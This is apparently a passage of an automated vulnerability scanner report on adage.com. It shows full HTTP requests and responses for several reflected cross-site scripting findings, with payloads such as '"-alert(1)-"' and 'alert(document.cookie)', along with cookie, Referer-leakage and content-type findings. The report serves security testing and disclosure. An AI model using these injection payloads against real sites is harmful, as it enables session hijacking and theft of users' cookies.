Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:05 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=21367E0F48C912D9FCA90BEDBF80814E57852B17; path=/
Set-Cookie: HMAC=B3DCAA5907BD4C92A11928E8EE2C6201E69E7974; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33836

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
bx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1299112644";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/scripts/javascript.js5aff8"-alert(1)-"583d5843b81"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.76. http://adage.com/scripts/jquery.onefblikev1.1.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /scripts/jquery.onefblikev1.1.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7153d"-alert(1)-"169ab7182f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /scripts7153d"-alert(1)-"169ab7182f/jquery.onefblikev1.1.js?1297913904 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:38 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=86DB2F301407E561BDE1D52C270AE792F1F5FA43; path=/
Set-Cookie: HMAC=CF80723EEAD03935917F2FAA14F46352EFFA6840; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33845

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
c="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1297913904";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/scripts7153d"-alert(1)-"169ab7182f/jquery.onefblikev1.1.js"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,
...[SNIP]...

1.77. http://adage.com/scripts/jquery.onefblikev1.1.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /scripts/jquery.onefblikev1.1.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1d23b"-alert(1)-"0b71413a0fe was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /scripts/jquery.onefblikev1.1.js1d23b"-alert(1)-"0b71413a0fe?1297913904 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:48 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=EB18E157150A9EEA0C7A822CA06C63C49C2E7FB0; path=/
Set-Cookie: HMAC=97AACD682F705F69812F132FA86DF622C91C8A81; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33846

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1297913904";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/scripts/jquery.onefblikev1.1.js1d23b"-alert(1)-"0b71413a0fe"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.78. http://adage.com/scripts/lib.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /scripts/lib.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f7e3f"-alert(1)-"59f11d2af56 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /scriptsf7e3f"-alert(1)-"59f11d2af56/lib.js?1291744536 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:38 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=246ED6B1BBEE47B6A5C430FF3E1667ABC9C8AAEA; path=/
Set-Cookie: HMAC=FF33AE5B8457B8C7D664105CC1897BAEA0353E41; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33829

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
c="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1291744536";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/scriptsf7e3f"-alert(1)-"59f11d2af56/lib.js"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y"
...[SNIP]...

1.79. http://adage.com/scripts/lib.js [REST URL parameter 2]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /scripts/lib.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2253c"-alert(1)-"1032b54fde2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /scripts/lib.js2253c"-alert(1)-"1032b54fde2?1291744536 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:49 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=C1C690AD6AE6ECF5CBF003066810A921BE971FDE; path=/
Set-Cookie: HMAC=FC9CF9AE3483EF50925AE6F288DA0B7BCA6630F2; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33829

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1291744536";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/scripts/lib.js2253c"-alert(1)-"1032b54fde2"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://adage.com
Path:   /power150/badge-generate.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /power150/badge-generate.php?id=619 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://www.revenews.com/ctmoore/google-moves-to-corral-newspapers-into-newspass/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 19:13:32 GMT
Server: Apache
Set-Cookie: ADAGESESS=19f582846963864d6070981f931c1528; path=/; domain=.adage.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=721348973fa44b13643f87aea029cfa3ce7c17e6; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/javascript
Content-Length: 307


with(window.document) {
   open();
   write('<link rel="stylesheet" type="text/css" media="all" href="http://adage.com/power150/widget.css" />');
   write('<div id="power150-box" onclick="location=\'http:/
...[SNIP]...

3. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://adage.com
Path:   /scripts/javascript.js

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /scripts/javascript.js?1299112644 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 19:49:51 GMT
Server: Apache
Last-Modified: Thu, 03 Mar 2011 00:37:24 GMT
ETag: "5d91-3bab3900"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Type: application/x-javascript
Content-Length: 23953

/* global js vars */
var img_path="/img";

function ltrim(s) { return s.replace( /^\s*/, "" ); }
function rtrim(s) { return s.replace( /\s*$/, "" ); }
function trim(s) { return rtrim(ltrim(s)); }
func
...[SNIP]...
</param><embed src="http://www.youtube.com/v/'+id+'&hl=en&fs=1&" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="'+width+'" height="'+height+'"></embed>
...[SNIP]...

4. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://adage.com
Path:   /favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012; __utmz=1.1300304986.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/42; __utma=1.649049434.1300304986.1300304986.1300304986.1; __utmc=1; __utmb=1.1.10.1300304986; OAX=rcHW802BFGEABn1D; __qca=P0-809730519-1300304988890; CP=null*

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 19:50:15 GMT
Server: Apache
Last-Modified: Wed, 22 Dec 2010 20:06:31 GMT
ETag: "e36-4a05dfc0"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Type: text/plain; charset=UTF-8
Content-Length: 3638

..............h...&... ..............(....... ...........@.............................`......f3..................tM.......r.......................f...................................................
...[SNIP]...

Report generated by XSS.CX at Thu Mar 17 08:59:18 CDT 2011.